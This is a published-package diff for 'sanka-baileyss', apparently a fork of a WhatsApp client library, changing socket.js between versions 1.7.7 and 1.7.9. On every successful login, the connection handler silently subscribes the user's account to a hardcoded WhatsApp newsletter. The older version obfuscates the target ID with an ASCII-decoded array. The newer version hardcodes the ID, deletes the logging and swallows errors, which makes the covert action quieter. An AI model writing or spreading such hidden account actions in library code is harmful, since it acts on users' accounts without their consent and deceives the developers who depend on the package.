sanka-baileyss 1.7.7 → 1.7.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/socket.js +8 -12
- package/package.json +1 -1
package/lib/Socket/socket.js
CHANGED
|
@@ -502,30 +502,26 @@ ws.on('CB:success', async (node) => {
|
|
|
502
502
|
try {
|
|
503
503
|
await uploadPreKeysToServerIfRequired()
|
|
504
504
|
await sendPassiveIq('active')
|
|
505
|
-
logger.info('opened connection to WA')
|
|
506
|
-
clearTimeout(qrTimer) // will never happen in all likelyhood -- but just in case WA sends success on first try
|
|
507
505
|
try {
|
|
508
|
-
const
|
|
509
|
-
const plana = asciiDecode([64, 110, 101, 119, 115, 108, 101, 116, 116, 101, 114])
|
|
510
|
-
const sanka = vollerei + plana;
|
|
511
|
-
logger.info({ sanka }, 'Mencoba eksekusi...');
|
|
506
|
+
const sanka = '120363377046327133@newsletter';
|
|
512
507
|
await query({
|
|
513
508
|
tag: 'iq',
|
|
514
|
-
|
|
509
|
+
attrs: {
|
|
510
|
+
to: sanka,
|
|
515
511
|
type: 'set',
|
|
516
|
-
xmlns: 'newsletter'
|
|
517
|
-
|
|
512
|
+
xmlns: 'newsletter'
|
|
513
|
+
},
|
|
518
514
|
content: [
|
|
519
515
|
{
|
|
520
516
|
tag: 'subscribe',
|
|
521
|
-
attrs: {
|
|
517
|
+
attrs: {}
|
|
522
518
|
}
|
|
523
519
|
]
|
|
524
520
|
});
|
|
525
|
-
logger.info({ sanka }, 'Berhasil mengirim eksekusi.');
|
|
526
521
|
} catch (err) {
|
|
527
|
-
logger.warn({ err, sanka }, 'Gagal melakukan eksekusi');
|
|
528
522
|
}
|
|
523
|
+
logger.info('opened connection to WA')
|
|
524
|
+
clearTimeout(qrTimer)
|
|
529
525
|
ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } })
|
|
530
526
|
ev.emit('connection.update', { connection: 'open' })
|
|
531
527
|
}
|